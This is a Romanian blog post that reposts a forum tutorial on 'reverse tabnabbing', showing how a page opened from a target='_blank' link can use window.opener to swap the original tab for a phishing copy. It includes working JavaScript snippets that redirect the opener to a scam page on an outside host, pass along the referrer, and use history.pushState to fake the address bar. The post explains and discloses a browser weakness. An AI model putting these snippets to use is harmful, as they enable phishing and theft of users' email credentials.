Rasfoind astazi forumul RSTCenter.com, am vazut ca acest utilizator a “reinventat roata” intr-un mod foarte ingenios. Va prezint in continuare postarea lui de pe forum:
Autor: B7ackAnge7z
Sper să nu greșesc dacă voi spune, că știm cu toții ce e un link și la ce folosește atributul target pentru tag-ul <a>. Și dat fiind faptul că majoritatea consideră inofensivă folosirea acestei tehnici atât de populare, în acest tutorial voi încerca să demonstrez contrariul.
Pentru început vreau să menționez că ceea ce va fi descris aici, personal o consider a fiind o vulnerabilitate pentru toate browserele cu excepția… ta-da! — Internet Explorer. Iată de ce în continuare voi folosi cuvântul „vulnerabilitate” atunci când mă voi referi la acest „fenomen”.
De asemenea, vă rog să atrageți atenția că această vulnerabilitate v-a funcționa perfect doar dacăse va apăsa click de stânga pe link, și nu click de dreapta → „Deschide în filă nouă”.
Și, nu în ultimul rând, așa cum toată lumea recomandă să fie folosit target=”_blank” pentru toate link-urile externe (doar nu dorim ca utilizatorul să părăsească pagina noastră), trebuie să constat că această vulnerabilitate afectează majoritatea site-urilor care fac referire la pagini externe.
Teorie
Dacă avem pagina curentă „A” și facem referire la pagina „B” folosind atributul target=”_blank”, atunci când se va deschide pagina „B” pentru aceasta va fi creat un obiect window.opener cu ajutorului căruia putem redirecționa pagina „A” către o nouă pagină în timp ce utilizatorul accesează pagina „B”. Și cel mai important, paginile „A” și „B” pot fi pe domenii diferite.
Practică
Pentru a înțelege mai bine despre ce merge vorba, vă recomand următorul exemplu: apăsați click aici, așteptați să se încarce pagina, după care reveniți înapoi. Dacă apare eroarea „window.opener is null” atunci:
- Ai deschis link-ul altfel decât folosind click de stânga;
- Browserul tău nu e vulnerabil;
- Magie neagră?
Pentru un exemplu mai complex, vă rog să accesați această pagină unde am folosit această vulnerabilitate pentru a simula un atac de tip phishing asupra unui site ce oferă servicii de email. Ca și pentru oricare site asemănător (Gmail, Hotmail ș.a.) fiecare link primit într-un mesaj are atributultarget=”_blank”.
Explicații
Pentru a exploata vulnerabilitatea, trimitem un mesaj ce conține adresa URL către pagina „capcană”, unde pentru a fi siguri că utilizatorul a deschis link-ul, folosind click de stânga și nu altă metodă, verificăm dacă există obiectul window.opener și nu este NULL. După care, putem redirecționa pagina de unde a venit utilizatorul. Codul arată cam așa:
if (window.opener) { window.opener.location.replace('full-url-to-scam-page'); }
După cum puteți observa, totul e atât de simplu, atât de banal, atât de periculos… Dacă pagina de phishing și cea legitimă arată ca 2 picături de apă, iar numele domeniului nu dă de bănuit, când utilizatorul va reveni la pagina inițială cu siguranță, nu va observa modificarea.
Pentru a da mai puțin de bănuit, poate fi modificată adresa URL pentru pagina de phishing în felul următor:
- De pe pagina funny.php e nevoie să trimitem adresa URL (referrer) de unde a venit utilizatorul. Eu am făcut așa:
Code:
var referrer = encodeURIComponent(document.referrer); window.opener.location = 'http://black.securrity.com/t_blank/scam.php#' + referrer;
- Apoi, pe pagina scam.php am folosit următorul cod:
Code:
// Extragem legătura adresei URL și eliminăm numele domeniului var fakeurl = decodeURIComponent(window.location.hash).replace('#http://white.securrity.com', ''); // Modificăm adresa URL fără a încărca conținutul acelei pagini window.history.pushState(false, false, fake_url);
În loc de concluzii
Sincer, nu înțeleg, ce a fost în capul dezvoltatorilor ca să permită executarea funcțieilocation.replace() sau modificarea obiectului location dintre două domenii diferite? Dacă era de pe același domeniu, înțelegeam… Și chiar e foarte straniu, căci celelalte funcții și atribute ale obiectului window.opener nu pot nici măcar citite, deoarece:
Sursa: https://rstforums.com/forum/63056-phishing-via-target-_blank.rst